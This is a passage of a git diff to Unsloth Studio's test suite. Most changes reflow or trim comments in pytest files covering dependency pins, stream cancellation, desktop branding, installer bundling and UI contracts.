CredentialBootstrapGate, so the gate has to be- # rendered too: dropping it stops hydration while the call still exists.+ # The call lives inside CredentialBootstrapGate, so the gate has to be rendered too: dropping+ # it stops hydration while the call still exists.assert "<CredentialBootstrapGate active={!isAuthFlowRoute}>" in root# The chat page still hydrates its own persisted settings.assert "hydratePersistedSettings()" in CHAT_PAGE.read_text(encoding = "utf-8")diff --git a/tests/studio/test_reveal_file_manager_matrix.py b/tests/studio/test_reveal_file_manager_matrix.pyindex 075f31b1c80..c6c6f1e0654 100644--- a/tests/studio/test_reveal_file_manager_matrix.py+++ b/tests/studio/test_reveal_file_manager_matrix.py@@ -102,8 +102,6 @@ def native_linux(monkeypatch):monkeypatch.setattr(path_utils, "_IS_WSL", False)-# ----------------------------------------------------------------------------# macOS# ---------------------------------------------------------------------------def test_macos_reveals_a_file_with_open_dash_r(macos, spawned, tmp_path):"""``open -R`` selects the file in its enclosing folder; plain ``open``@@ -129,8 +127,6 @@ def test_macos_keeps_an_awkward_name_in_one_argument(macos, spawned, tmp_path):assert len(spawned.popen[0]) == 2-# ----------------------------------------------------------------------------# Windows# ---------------------------------------------------------------------------def test_windows_selects_a_file_in_explorer(windows, spawned, tmp_path):target = tmp_path / "report.csv"@@ -221,9 +217,6 @@ def test_a_deeply_nested_path_is_passed_through_whole(native_linux, spawned, tmpassert len(str(target)) > 255-# ----------------------------------------------------------------------------# Failing, on every platform-# ---------------------------------------------------------------------------@pytest.mark.parametrize("host", ["macos", "windows", "native_linux"])def test_a_missing_target_launches_nothing_anywhere(host, spawned, tmp_path, request):request.getfixturevalue(host)diff --git a/tests/studio/test_run_windows_entry_point.py b/tests/studio/test_run_windows_entry_point.pyindex c3125c39b06..7ea6ade1c3c 100644--- a/tests/studio/test_run_windows_entry_point.py+++ b/tests/studio/test_run_windows_entry_point.py@@ -122,8 +122,8 @@ def test_the_trampoline_is_the_one_the_rust_and_powershell_sides_use():Each side is read from its own file. An earlier version of this test onlygrepped studio.py, so drifting the Rust and PowerShell copies left it green."""- # Spelled out, not imported from any of the three, so editing any single copy- # fails here instead of quietly agreeing with itself.+ # Spelled out, not imported from any of the three, so editing any single copy fails here instead of quietly agreeing+ # with itself.canonical = ("import sys, os; sys.path[:1] = [x for x in sys.path[:1] if getattr(sys.flags, 'safe_path', False) or x not in ('', os.getcwd())]; ""sys.argv[0] = 'unsloth'; from unsloth_cli import app; sys.exit(app())"@@ -177,8 +177,7 @@ def test_the_interpreter_argv_carries_no_isolation_flag_by_default():inherited = ast.literal_eval(ternaries[0].orelse)assert inherited == ["-X", "utf8"], "the default argv must stay `-X utf8 -c <trampoline>`"- # -X utf8 before -I: -I implies -E, which discards PYTHONUTF8 but cannot- # touch a flag already on the command line.+ # X utf8 before -I: -I implies -E, which discards PYTHONUTF8 but cannot touch a flag already on the command line.assert isolated == ["-X", "utf8", "-I"]assert ternaries[0].test.id == "isolated", "the ternary must key off the isolated parameter"diff --git a/tests/studio/test_sdk_installs_are_major_bounded.py b/tests/studio/test_sdk_installs_are_major_bounded.pyindex 1bb2fddb5f0..1154034a511 100644--- a/tests/studio/test_sdk_installs_are_major_bounded.py+++ b/tests/studio/test_sdk_installs_are_major_bounded.py@@ -32,36 +32,32 @@ import pytestREPO = Path(__file__).resolve().parents[2]WORKFLOWS = REPO / ".github" / "workflows"-# Packages our probe code calls directly by keyword, each with the first major it must-# NOT reach. Asserting the boundary rather than "some upper bound exists" is what makes-# this mean anything: `openai>=1.50,<999` contains a `<` and admits every major it is-# meant to keep out. Anything stricter than the boundary is fine.-#-# Bump a number here in the same commit that widens the pin, and only once CI has run-# against that major.+# Packages our probe code calls directly by keyword, each with the first major it must NOT reach.+# Asserting the boundary rather than "some upper bound exists" is what makes this mean anything: `openai>=1.50,<999`+# contains a `<` and admits every major it is meant to keep out.GUARDED = {# v1 removed temperature, top_p and top_k from messages.create()."anthropic": (1,),# 3.3.1 resolves today and the probes pass, so the bound sits above it, not at <2."openai": (4,),- # Still 1.x upstream."playwright": (2,),}-# One `pip install` argument: name, optional [extras], optional specifier. Optional on-# purpose: a bare `pip install openai` resolves whatever major is current, and a pattern-# that required a specifier could not see it at all.+# One `pip install` argument: name, optional [extras], optional specifier. Optional on purpose: a bare+# `pip install openai` resolves whatever major is current, and a pattern that required a specifier could not see it+# at all._REQUIREMENT = re.compile(r"""^(?P<name>[A-Za-z0-9][A-Za-z0-9._-]*)(?:\[[^\]]*\])?(?P<spec>.*)$""")-# pip, pip3, pip3.12, pip.exe, and any of those behind a path with either separator,-# quoted or not. mlx-ci.yml:439 uses "$STUDIO_VENV/bin/pip", and the Windows workflows-# can use pip.exe; matching the literal text `pip install` saw neither.+# pip, pip3, pip3.12, pip.exe, and any of those behind a path with either separator, quoted or not. mlx-ci.yml:439 uses+# "$STUDIO_VENV/bin/pip", and the Windows workflows can use pip.exe; matching the literal text `pip install` saw+# neither._PIP_INSTALL = re.compile(r"""(?:^|[\s"'/\\])pip[0-9]*(?:\.[0-9]+)*(?:\.exe)?["']?\s+install(?:\s|$)""")-# The whole version token, suffix included. Capturing only the numeric prefix turned-# `<4.post1` into `<4`, and such a bound is LOOSER than its digits: `<4.post1` admits 4.0.+# The whole version token, suffix included.+# Capturing only the numeric prefix turned `<4.post1` into `<4`, and such a bound is LOOSER than its digits: `<4.post1`+# admits 4.0._UPPER = re.compile(r"(?P<op><=|<)(?P<version>[^,\s'\"]+)")_NUMERIC = re.compile(r"^[0-9][0-9.]*$")_EXACT = re.compile(r"===?(?P<version>[0-9][0-9.]*)")@@ -109,9 +105,7 @@ def _install_commands_in(text: str) -> list[tuple[int, str]]:if not pending:start = numberstripped = line.rstrip()- # Backslash for sh, backtick for PowerShell. 92 pwsh steps live here, 9 of them- # around a pip install, so the backtick form is one long install list away even- # though nothing uses it yet.+ # Backslash for sh, backtick for PowerShell.if stripped.endswith("\\") or stripped.endswith("`"):pending.append(stripped[:-1])continue@@ -224,8 +218,7 @@ def _excludes(spec: str, major: tuple[int, ...]) -> bool:return Truefor match in _UPPER.finditer(spec):raw = match.group("version")- # Fail closed on anything that is not a plain release. A suffix can make the- # bound looser than its digits suggest, and guessing is how `<4.post1` passed.+ # Fail closed on anything that is not a plain release.if not _NUMERIC.match(raw):continuebound = _version(raw)diff --git a/tests/studio/test_settings_compact_overflow_contract.py b/tests/studio/test_settings_compact_overflow_contract.pyindex 53d9d4e0bb5..ce0dda426da 100644--- a/tests/studio/test_settings_compact_overflow_contract.py+++ b/tests/studio/test_settings_compact_overflow_contract.py@@ -48,12 +48,9 @@ def test_remote_access_card_can_shrink():def test_embedding_model_controls_stack_on_the_narrowest_viewports():- # The picker has already moved once, from the General tab to Documents & RAG, and- # pinning the filename turned that move into a red build even though both responsive- # classes came along untouched. Follow whichever settings surface renders the picker.- # Dropping the classes still fails; relocating them no longer does.- # The combobox became EmbeddingModelPicker; follow the component, since the- # contract is that the control stacks and fills the row under 360px.+ # The picker has already moved once, from the General tab to Documents & RAG, and pinning the filename turned that+ # move into a red build even though both responsive classes came along untouched.+ # follow the component, since the contract is that the control stacks and fills the row under 360px.owners = [pathfor path in sorted(SETTINGS.rglob("*.tsx"))diff --git a/tests/studio/test_settings_smoke_covers_every_tab.py b/tests/studio/test_settings_smoke_covers_every_tab.pyindex 4fcc67ca35d..adcc896a11d 100644--- a/tests/studio/test_settings_smoke_covers_every_tab.py+++ b/tests/studio/test_settings_smoke_covers_every_tab.py@@ -54,10 +54,9 @@ def _smoke_tabs() -> list[str]:def _dialog_tabs() -> list[str]:"""The tab ids the dialog renders, in declaration order."""text = DIALOG.read_text(encoding = "utf-8")- # Scope to the tab array first: `id:` appears on other objects in this file, and- # a bare scan would invent tabs. Both spellings live in here -- the one-line- # `{ id: "general", labelKey: ... }` and the multi-line form -- so the id match- # deliberately does NOT anchor to the start of a line.+ # Scope to the tab array first: `id:` appears on other objects in this file, and a bare scan would+ # invent tabs. One-line and multi-line entries both live in here, so the id match does not anchor+ # to the start of a line.block = re.search(r"SETTINGS_TABS[^=]*=\s*\[(.*?)^\]", text, re.S | re.M)region = block.group(1) if block else textreturn re.findall(r'\bid:\s*"([a-z0-9-]+)"', region)diff --git a/tests/studio/test_smoke_workflows_share_one_script.py b/tests/studio/test_smoke_workflows_share_one_script.pyindex d52bb4098a1..38035365f63 100644--- a/tests/studio/test_smoke_workflows_share_one_script.py+++ b/tests/studio/test_smoke_workflows_share_one_script.py@@ -112,9 +112,8 @@ def test_history_grounding_is_still_checked(script):with pytest.raises(AssertionError, match = "history reached the model"):script.check("nohistory", ["1 is 2", good2, "c", "d"], ["1 is 2", good2, "c", "d"])- # The gap #10009 found: 'paris' in the JOINED transcript proves nothing, because- # turn 3 supplies it on its own. Checked per turn, a server that answers turn 3 and- # then loses the history still fails.+ # The gap #10009 found:+ # The gap #10009 found: 'paris' in the JOINED transcript proves nothing, because turn 3 supplies it on its own.lost_after_3 = ["1 is 2", "b", "paris", "Okay, I'm ready."]with pytest.raises(AssertionError, match = "history reached the model"):script.check("joined-is-not-enough", lost_after_3, list(lost_after_3))@@ -187,7 +186,6 @@ def test_the_replay_retry_cannot_pass_a_truly_nondeterministic_server(script, mo# Bounded: two runners per attempt, and it must not have looped past ATTEMPTS.assert calls["n"] == 2 * script.ATTEMPTS, calls["n"]- # And a single flip, followed by agreement, passes.calls["n"] = 0def flips_once():diff --git a/tests/studio/test_stop_running_chats_prompt_contract.py b/tests/studio/test_stop_running_chats_prompt_contract.pyindex d3995ec2289..0526b1d3515 100644--- a/tests/studio/test_stop_running_chats_prompt_contract.py+++ b/tests/studio/test_stop_running_chats_prompt_contract.py@@ -24,10 +24,9 @@ def _read(rel: str) -> str:def test_the_prompt_counts_conversations_not_generation_handles():- # One chat holds several handles while a tool continuation registers its next leg- # before the previous unwinds (active_generations.ActiveGeneration mints one per- # __enter__), so active.count exceeds the deduplicated thread_ids and the dialog- # offered to stop two chats while listing one title.+ # One chat holds several handles while a tool continuation registers its next leg before the previous unwinds+ # (active_generations.ActiveGeneration mints one per __enter__), so active.count exceeds the deduplicated thread_ids+ # and the dialog offered to stop two chats while listing one title.src = _read("features/chat/utils/confirm-stop-running-chats.ts")assert "entry.thread_id" in src, "the unnamed entries have to be counted separately"# The raw handle count survives only for a backend too old to send the entries.@@ -37,9 +36,9 @@ def test_the_prompt_counts_conversations_not_generation_handles():def test_an_unload_is_not_described_as_a_reload():- # ejectModel confirms through the same dialog, but confirming calls /unload and- # leaves no model loaded: "Unloading the model reloads the model" and "Stop and- # reload" promised the opposite for the destructive one.+ # ejectModel confirms through the same dialog, but confirming calls /unload and leaves no model loaded: the older+ # "Unloading the model reloads the model" and "Stop and reload" wording promised the opposite for the destructive+ # one.dialog = _read("features/chat/components/stop-running-chats-dialog.tsx")assert "Stop and unload" in dialog and "Stop and reload" in dialogassert "leaves no model loaded" in dialog@@ -52,10 +51,7 @@ def test_an_unload_is_not_described_as_a_reload():def test_the_tts_request_names_its_thread():- # The audio branch registers its run locally under the thread key, and the backend- # tracker reads payload.thread_id. Omitting it filed the backend entry under no- # thread, so the prompt counted the named local run and the unnamed backend one as- # two requests for a single TTS chat.+ # The audio branch registers its run locally under the thread key, and the backend tracker reads payload.thread_id.src = _read("features/chat/api/chat-adapter.ts")call = src.index("const result = await generateAudio(")assert (diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.pyindex f0714b0266b..4066b1dcbd2 100644--- a/tests/studio/test_stream_cancel_registration_timing.py+++ b/tests/studio/test_stream_cancel_registration_timing.py@@ -340,8 +340,7 @@ async def _consume(agen):def _llama_stub_raises_on_preset_cancel(cancel_event):- # Reproduces llama_cpp.py _stream_with_retry `raise GeneratorExit` when- # cancel_event is already set at entry.+ # Reproduces llama_cpp.py _stream_with_retry `raise GeneratorExit` when cancel_event is already set at entry.if cancel_event.is_set():raise GeneratorExityield "cumulative-1"@@ -380,8 +379,8 @@ def test_finally_cleanup_on_normal_completion():def test_finally_cleanup_on_mid_stream_exception():- # OSError mid-stream: the exact case where pre-fix `background=BackgroundTask(...)`- # was skipped and leaked the registry entry.+ # OSError mid-stream: the exact case where pre-fix `background=BackgroundTask(...)` was skipped and leaked the+ # registry entry.m = _load_registry_module()m["_CANCEL_REGISTRY"].clear()ev = threading.Event()@@ -449,8 +448,8 @@ def test_same_task_response_closes_body_iterator_on_send_disconnect():def test_preset_cancel_event_exits_cleanly_with_done():- # Pending-replay: a stashed cancel pre-set cancel_event. The loop must break- # cleanly with final_chunk + [DONE], not propagate GeneratorExit from the GGUF wrapper.+ # Pending-replay: a stashed cancel pre-set cancel_event. The loop must break cleanly with final_chunk + [DONE],+ # not propagate GeneratorExit from the GGUF wrapper.ev = threading.Event()ev.set()chunks = asyncio.run(_consume(_post_fix_gguf_loop(ev)))@@ -536,8 +535,8 @@ def test_streaming_generators_check_cancel_event_in_loop():def test_audio_input_stream_offloads_blocking_next_to_thread():- # Guards against regressing to `for chunk_text in audio_input_generate():`, which- # blocks the event loop per whisper chunk and stalls POST /api/inference/cancel.+ # Guards against regressing to `for chunk_text in audio_input_generate():`, which blocks the event loop per whisper+ # chunk and stalls POST /api/inference/cancel.audio = Nonefor fn in ast.walk(_TREE):if isinstance(fn, ast.AsyncFunctionDef) and fn.name == "audio_input_stream":@@ -694,8 +693,8 @@ def test_generate_stream_cancels_backend_on_stream_cancelled_error():)if isinstance(sub, ast.Try) and sub.finalbody:final_src = "\n".join(ast.unparse(stmt) for stmt in sub.finalbody)- # Accumulate: an existence claim, and the cleanup sits in a nested try whose- # own finally only unregisters the swap-gate entry.+ # Accumulate: an existence claim, and the cleanup sits in a nested try whose own finally only unregisters+ # the swap-gate entry.found_finally_cleanup = found_finally_cleanup or ("not completed" in final_srcand "not cancel_event.is_set()" in final_src@@ -720,8 +719,8 @@ def test_generate_stream_cancels_backend_on_stream_cancelled_error():def test_stream_chunks_cancel_branch_resets_backend_state():- # The cancel branch must call backend.reset_generation_state() to flush- # GPU/KV-cache state, else cancel-via-POST leaves the subprocess dirty.+ # The cancel branch must call backend.reset_generation_state() to flush GPU/KV-cache state, else cancel-via-POST+ # leaves the subprocess dirty.fn = Nonetop = Nonefor n in ast.walk(_TREE):@@ -809,8 +808,8 @@ def test_unsloth_stream_loop_breaks_on_external_cancel_event():def test_generate_stream_stays_responsive_under_blocking_next():- # Same sync-generator shape as generate_stream, with resp_queue.get modeled- # by sleep. The output must stay unchanged while next() moves off-loop.+ # Same sync-generator shape as generate_stream, with resp_queue.get modeled by sleep. The output must stay+ # unchanged while next() moves off-loop.chunks = ["alpha", "beta", "gamma", "delta"]def _generate_chat_response():@@ -909,8 +908,8 @@ def test_generate_stream_stays_responsive_under_blocking_next():def test_audio_stream_stays_responsive_under_blocking_next():- # Assert the pre-fix `for chunk in audio_input_generate()` pattern blocks the- # event loop, then confirm the post-fix pattern exits promptly.+ # Assert the pre-fix `for chunk in audio_input_generate()` pattern blocks the event loop, then confirm the post-fix+ # pattern exits promptly.cancel_event = threading.Event()def _audio_gen():@@ -969,8 +968,8 @@ def test_audio_stream_stays_responsive_under_blocking_next():def test_unsloth_stream_loop_emits_zero_tokens_on_preset_cancel():- # Pending-cancel replay: cancel_event pre-set, so the top-of-loop check must- # short-circuit iteration 1 (zero tokens). Catches moving the check below next().+ # Pending-cancel replay: cancel_event pre-set, so the top-of-loop check must short-circuit iteration 1 (zero+ # tokens). Catches moving the check below next().cancel_event = threading.Event()cancel_event.set()reset_calls = [0]@@ -1018,8 +1017,8 @@ def test_unsloth_stream_loop_emits_zero_tokens_on_preset_cancel():def test_audio_stream_emits_zero_chunks_on_preset_cancel():- # Symmetric to the Unsloth pre-set test: the audio loop must skip- # asyncio.to_thread(next, ...) when cancel_event was pre-set via pending-replay.+ # Symmetric to the Unsloth pre-set test: the audio loop must skip asyncio.to_thread(next, ...) when cancel_event was+ # pre-set via pending-replay.cancel_event = threading.Event()cancel_event.set()diff --git a/tests/studio/test_stt_model_search_locator_contract.py b/tests/studio/test_stt_model_search_locator_contract.pyindex b7db1ddfabe..bf9ae6b9477 100644--- a/tests/studio/test_stt_model_search_locator_contract.py+++ b/tests/studio/test_stt_model_search_locator_contract.py@@ -68,7 +68,7 @@ COPY_LOCATORS = ("get_by_alt_text","get_by_title",)-# The per-line pattern this guard replaced. Kept only to prove the gap it left.+# The per-line pattern this guard replaced.PER_LINE = r"get_by_(placeholder|label)\(|get_by_role\([^)]*name\s*="diff --git a/tests/studio/test_studio_gguf_export_script_pin.py b/tests/studio/test_studio_gguf_export_script_pin.pyindex 62785b9fd94..2a308cd9a08 100644--- a/tests/studio/test_studio_gguf_export_script_pin.py+++ b/tests/studio/test_studio_gguf_export_script_pin.py@@ -38,26 +38,26 @@ def _find_pin_try(tree: ast.AST):return None-# The pin catches Exception, not ImportError: a half-built unsloth_zoo raises-# RuntimeError or AttributeError too. Anything that still catches an ImportError-# counts, so widening the handler again does not break this test.+# The pin catches Exception, not ImportError: a half-built unsloth_zoo raises RuntimeError or+# AttributeError too. Anything that still catches an ImportError counts, so widening the handler+# again does not break this test._CATCHES_IMPORT_ERROR = ("ImportError", "Exception", "BaseException")def _catches_import_error(handler: ast.ExceptHandler) -> bool:- if handler.type is None: # bare except+ if handler.type is None:return Truenames = handler.type.elts if isinstance(handler.type, ast.Tuple) else [handler.type]return any(isinstance(n, ast.Name) and n.id in _CATCHES_IMPORT_ERROR for n in names)-# A half-built unsloth_zoo imports and then raises RuntimeError or AttributeError, which-# ImportError alone does not cover.+# A half-built unsloth_zoo imports and then raises RuntimeError or AttributeError, which ImportError alone does not+# cover._CATCHES_EVERYTHING = ("Exception", "BaseException")def _covers_half_built_zoo(handler: ast.ExceptHandler) -> bool:- if handler.type is None: # bare except+ if handler.type is None:return Truenames = handler.type.elts if isinstance(handler.type, ast.Tuple) else [handler.type]caught = {n.id for n in names if isinstance(n, ast.Name)}diff --git a/tests/studio/test_studio_pid_file_contract.py b/tests/studio/test_studio_pid_file_contract.pyindex 67ec66c9987..82f2494e2bb 100644--- a/tests/studio/test_studio_pid_file_contract.py+++ b/tests/studio/test_studio_pid_file_contract.py@@ -41,8 +41,8 @@ def test_stop_finds_a_pid_file_named_the_way_the_backend_writes_it(tmp_path, monfrom unsloth_cli.commands import studio as clipath = _backend_pid_path(tmp_path, 8901)- # The same three-line body _write_pid_file emits (create_time is blank when- # psutil is unavailable, and the CLI must tolerate that).+ # The same three-line body _write_pid_file emits (create_time is blank when psutil is unavailable, and the CLI must+ # tolerate that).path.write_text(f"{os.getpid()}\n\n127.0.0.1", encoding = "utf-8")monkeypatch.setattr(cli, "STUDIO_HOME", tmp_path)@@ -52,8 +52,8 @@ def test_stop_finds_a_pid_file_named_the_way_the_backend_writes_it(tmp_path, mondef test_the_legacy_file_stays_a_bare_pid_an_older_cli_can_parse(tmp_path, monkeypatch):- # An older `unsloth studio stop` reads studio.pid and requires str.isdigit(),- # so the compatibility file must never gain the extra metadata lines.+ # An older `unsloth studio stop` reads studio.pid and requires str.isdigit(), so the compatibility file must never+ # gain the extra metadata lines.ns = {"os": os,"Path": Path,diff --git a/tests/studio/test_sync_allow_scripts_pins.py b/tests/studio/test_sync_allow_scripts_pins.pyindex 2aa0e9368cb..42075aa50b9 100644--- a/tests/studio/test_sync_allow_scripts_pins.py+++ b/tests/studio/test_sync_allow_scripts_pins.py@@ -77,8 +77,8 @@ def test_stale_pin_fails_check_and_fix_repairs():"@biomejs/[email protected]": True, # stale, bumped to 1.9.9"[email protected]": False, # stale denial, bumped to 2.15.0"fsevents": True, # bare: never stale- "[email protected]": True, # not in lockfile: left alone- "weird@*": True, # non-exact spec: left alone+ "[email protected]": True,+ "weird@*": True,},LOCK,)diff --git a/tests/studio/test_tauri_branding_contract.py b/tests/studio/test_tauri_branding_contract.pyindex 6d95421e243..95cf652775b 100644--- a/tests/studio/test_tauri_branding_contract.py+++ b/tests/studio/test_tauri_branding_contract.py@@ -112,9 +112,8 @@ def test_dmg_install_window_matches_its_background_art() -> None:dmg = json.loads(read(TAURI / "tauri.macos.conf.json"))["bundle"]["macOS"]["dmg"]assert dmg["background"] == "./dmg/background.tiff"- # Finder lays the background out from the same origin it uses for icon- # coordinates, so the base page has to match the configured window size or- # the artwork drifts out from under the app and Applications icons.+ # Finder lays the background out from the same origin it uses for icon coordinates, so the base page has to match+ # the configured window size or the artwork drifts out from under the app and Applications icons.window = (dmg["windowSize"]["width"], dmg["windowSize"]["height"])assert window == (660, 400)assert tiff_first_image_size(TAURI / "dmg/background.tiff") == window@@ -201,14 +200,11 @@ def test_desktop_release_asset_names_are_human_readable() -> None:LOCALES = FRONTEND / "src/i18n/locales"-# The only locale entries allowed to say "Unsloth Studio": prose that names the *remote-# server* a user points this app at, which genuinely is an Unsloth Studio. Every other-# entry -- window chrome, About labels, shutdown text -- is this app's own display name-# and stays swept, so a translation cannot quietly restore the prohibited branding.-#-# modelAutoSwitch.apiOnlyDescription does NOT belong here. It renders as a settings-row-# description and describes a model you loaded from this UI, not from a remote server, so-# exempting it would let the display name back in on a rendered surface.+# The only locale entries allowed to say "Unsloth Studio": prose that names the *remote server* a user points this app+# at, which genuinely is an Unsloth Studio.+# modelAutoSwitch.apiOnlyDescription does NOT belong here. It renders as a settings-row description and describes a+# model you loaded from this UI, not from a remote server, so exempting it would let the display name back in on a+# rendered surface.LOCALE_REMOTE_SERVER_KEYS = frozenset({"settings.agents.remote.title",@@ -253,10 +249,9 @@ def locale_entries(text: str) -> list[tuple[str, str]]:def test_desktop_surfaces_do_not_restore_studio_branding() -> None:- # The desktop app displays itself as "Unsloth", never "Unsloth Studio". The i18n- # catalogs are swept by key rather than by file: a handful of entries have to name the- # *remote server* a user points the app at, which genuinely is an Unsloth Studio and is- # not this app's display name, so those keys are spared and every other entry is not.+ # The desktop app displays itself as "Unsloth", never "Unsloth Studio". The i18n catalogs are swept by key rather+ # than by file: a handful of entries have to name the *remote server* a user points the app at, which genuinely is+ # an Unsloth Studio and is not this app's display name, so those keys are spared and every other entry is not.display_sources = [TAURI / "Info.plist",TAURI / "capabilities/default.json",@@ -278,8 +273,8 @@ def test_desktop_surfaces_do_not_restore_studio_branding() -> None:str(path.relative_to(REPO)) for path in display_sources if "Unsloth Studio" in read(path)]- # The locale catalogs are swept too, just at key granularity rather than file- # granularity, so only the remote-server prose is spared.+ # The locale catalogs are swept too, just at key granularity rather than file granularity, so only the remote-server+ # prose is spared.offenders += [f"{path.relative_to(REPO)}::{key}"for path in sorted(LOCALES.rglob("*.ts"))@@ -312,8 +307,7 @@ def test_the_branding_sweep_still_covers_the_frontend() -> None:assert len(locales) >= 10, f"locales look wrong, found {len(locales)}"assert len(swept) > 20 * len(locales), f"sweep collapsed to {len(swept)} files"- # The catalogs are swept by key, so the parser has to actually resolve keys. These are- # the app's own display name in the surfaces the exemption would otherwise have hidden.+ # The catalogs are swept by key, so the parser has to actually resolve keys.for path in locales:entries = dict(locale_entries(read(path)))assert len(entries) > 500, f"{path.name} parsed to {len(entries)} entries"@@ -325,8 +319,8 @@ def test_the_branding_sweep_still_covers_the_frontend() -> None:):assert key in entries, f"{path.name} lost {key}, so the sweep no longer sees it"- # The allowlist is prose-level, not a blanket: it spares three of the ~1,500 entries a- # catalog holds, and every exempt key has to be one the catalogs actually define.+ # The allowlist is prose-level, not a blanket: it spares three of the ~1,500 entries a catalog holds, and every+ # exempt key has to be one the catalogs actually define.english = dict(locale_entries(read(LOCALES / "en.ts")))assert LOCALE_REMOTE_SERVER_KEYS <= set(englishdiff --git a/tests/studio/test_tauri_installer_resource_contract.py b/tests/studio/test_tauri_installer_resource_contract.pyindex f58ec3d653c..d5df0e9eafe 100644--- a/tests/studio/test_tauri_installer_resource_contract.py+++ b/tests/studio/test_tauri_installer_resource_contract.py@@ -40,9 +40,9 @@ def test_tauri_never_overlays_install_python_stack() -> None:def test_each_bundle_ships_only_the_installer_it_runs() -> None:- # resolve_install_script picks install.sh on unix and install.ps1 elsewhere, so the other- # was dead weight in every bundle -- and the largest script body a classifier walking the- # AppImage finds, which is where Trojan:Script/Wacatac.B!ml landed.+ # resolve_install_script picks install.sh on unix and install.ps1 elsewhere, so the other was dead weight in every+ # bundle, and the largest script body a classifier walking the AppImage finds, which is where+ # Trojan:Script/Wacatac.B!ml landed.assert _bundled_resources("windows") == {"../../install.ps1": "install.ps1"}assert _bundled_resources("linux") == {"../../install.sh": "install.sh"}assert _bundled_resources("macos") == {"../../install.sh": "install.sh"}@@ -54,10 +54,10 @@ def test_no_installer_resource_leaks_through_the_shared_config() -> None:def test_windows_upgrade_removes_the_installer_it_no_longer_ships() -> None:- # NSIS writes the current resource manifest and deletes nothing, and the uninstaller- # deletes only what is in that manifest. An in-place upgrade from a release that- # bundled both installers would therefore keep install.sh on a Windows machine- # forever, and the non-recursive RMDir "$INSTDIR" would fail at uninstall.+ # NSIS writes the current resource manifest and deletes nothing, and the uninstaller deletes only what is in that+ # manifest.+ # An in-place upgrade from a release that bundled both installers would therefore keep install.sh on a Windows+ # machine forever, and the non-recursive RMDir "$INSTDIR" would fail at uninstall.hooks = (REPO / "studio/src-tauri/windows/hooks.nsh").read_text(encoding = "utf-8")for macro in ("NSIS_HOOK_PREINSTALL", "NSIS_HOOK_PREUNINSTALL"):assert f"!macro {macro}" in hooks, f"hooks.nsh must define {macro}"diff --git a/tests/studio/test_tauri_python_tool_images.py b/tests/studio/test_tauri_python_tool_images.pyindex cc15a7f0c7e..1b0dcb1b067 100644--- a/tests/studio/test_tauri_python_tool_images.py+++ b/tests/studio/test_tauri_python_tool_images.py@@ -39,13 +39,11 @@ def test_desktop_csp_has_no_explicit_http_loopback_image_source() -> None:]assert loopback == []assert "blob:" in directives["img-src"]- # The boundary is the HTTP Unsloth backend regression. Ordinary remote- # HTTPS images remain supported, including HTTPS loopback if its certificate- # is trusted by the host.+ # The boundary is the HTTP Unsloth backend regression.+ # Ordinary remote HTTPS images remain supported, including HTTPS loopback if its certificate is trusted by the host.assert "https:" in directives["img-src"]- # Trusted frontend fetches and artifact frames still use their existing- # backend channels. Only ordinary image elements lose loopback access.+ # Trusted frontend fetches and artifact frames still use their existing backend channels.assert "http://127.0.0.1:*" in directives["connect-src"]assert "http://127.0.0.1:*" in directives["frame-src"]diff --git a/tests/studio/test_ui_font_scale_contract.py b/tests/studio/test_ui_font_scale_contract.pyindex f2a0dec3bb5..eeb654571f8 100644--- a/tests/studio/test_ui_font_scale_contract.py+++ b/tests/studio/test_ui_font_scale_contract.py@@ -19,8 +19,8 @@ STORE = (SRC / "features/settings/stores/appearance-custom-store.ts").read_text(SELECT = (SRC / "components/ui/select.tsx").read_text(encoding = "utf-8")UTILS = (SRC / "lib/utils.ts").read_text(encoding = "utf-8")-# Raw numeric fontSize props are only allowed where a scaled stylesheet rule-# (.recharts-text) overrides the presentation attribute at render time.+# Raw numeric fontSize props are only allowed where a scaled stylesheet rule (.recharts-text) overrides the presentation+# attribute at render time.FONTSIZE_PROP_ALLOWED_DIRS = ("features/studio/sections/charts","features/studio/sections/training-section.tsx",@@ -141,8 +141,7 @@ def test_icons_follow_the_ui_font_size_itself():assert "& svg.size-4 { width: var(--ui-icon-size); height: var(--ui-icon-size); }" in INDEX_CSSassert "font-size: calc(13px * var(--ui-font-scale, 1)) !important;" in INDEX_CSSassert "font-size: calc(12px * var(--ui-font-scale, 1)) !important;" in INDEX_CSS- # Menu rules that outrank the scoped block must carry the token too,- # without flattening the smaller thinking ticks.+ # Menu rules that outrank the scoped block must carry the token too, without flattening the smaller thinking ticks.assert "width: var(--ui-icon-size) !important;" in INDEX_CSSassert "svg:not(.unsloth-tick) {" in INDEX_CSS# Oversized art glyphs stay proportional instead of uniform.diff --git a/tests/studio/test_ui_shard_engines.py b/tests/studio/test_ui_shard_engines.pyindex ae6873f19ab..9adb973d8a6 100644--- a/tests/studio/test_ui_shard_engines.py+++ b/tests/studio/test_ui_shard_engines.py@@ -61,17 +61,13 @@ def _engines_driven_by(shard: str) -> set[str]:for step in _doc()["jobs"]["ui-smoke"]["steps"]:run = step.get("run") or ""name = step.get("name") or ""- # Only steps that RUN something can drive a browser. A `uses:` step cannot, and- # reading their names produced a false positive the first time one mentioned an- # engine: the apt archive cache is named for the .deb set it holds, which is- # webkit's, and that made two chromium-only shards look like webkit users.+ # Only steps that RUN something can drive a browser.if not run:continueif "playwright install" in run or "probe " in run:continuecond = str(step.get("if") or "")- # A step gated on another shard does not run for this one. Anything ungated- # runs for every shard.+ # A step gated on another shard does not run for this one. Anything ungated runs for every shard.others = re.findall(r"matrix\.shard\s*==\s*'([a-z]+)'", cond)if others and shard not in others:continue@@ -122,8 +118,8 @@ def test_shard_installs_every_engine_it_drives(cell: dict) -> None:def test_shard_installs_nothing_it_never_drives(cell: dict) -> None:installed = set(cell["engines"].split())driven = _engines_driven_by(cell["shard"])- # chromium is the default engine for every suite here, so it is legitimately- # installed whether or not a step names it out loud.+ # chromium is the default engine for every suite here, so it is legitimately installed whether or not a step names+ # it out loud.extra = installed - driven - {"chromium"}assert not extra, (f"shard {cell['shard']!r} installs {sorted(extra)} but no step drives them. "diff --git a/tests/studio/test_usage_examples_model_source_contract.py b/tests/studio/test_usage_examples_model_source_contract.pyindex 8c4ab773d79..ec21c56164d 100644--- a/tests/studio/test_usage_examples_model_source_contract.py+++ b/tests/studio/test_usage_examples_model_source_contract.py@@ -56,15 +56,14 @@ def test_examples_never_print_a_hardcoded_model_id():def test_catalog_refresh_follows_the_loaded_model():- # A dep list missing these never re-ran, so a finished load left the first fetch's- # name. Nor may it be gated on having no checkpoint: the store keeps one across an- # idle unload, which changes nothing React can see.+ # A dep list missing these never re-ran, so a finished load left the first fetch's name. Nor may it be gated 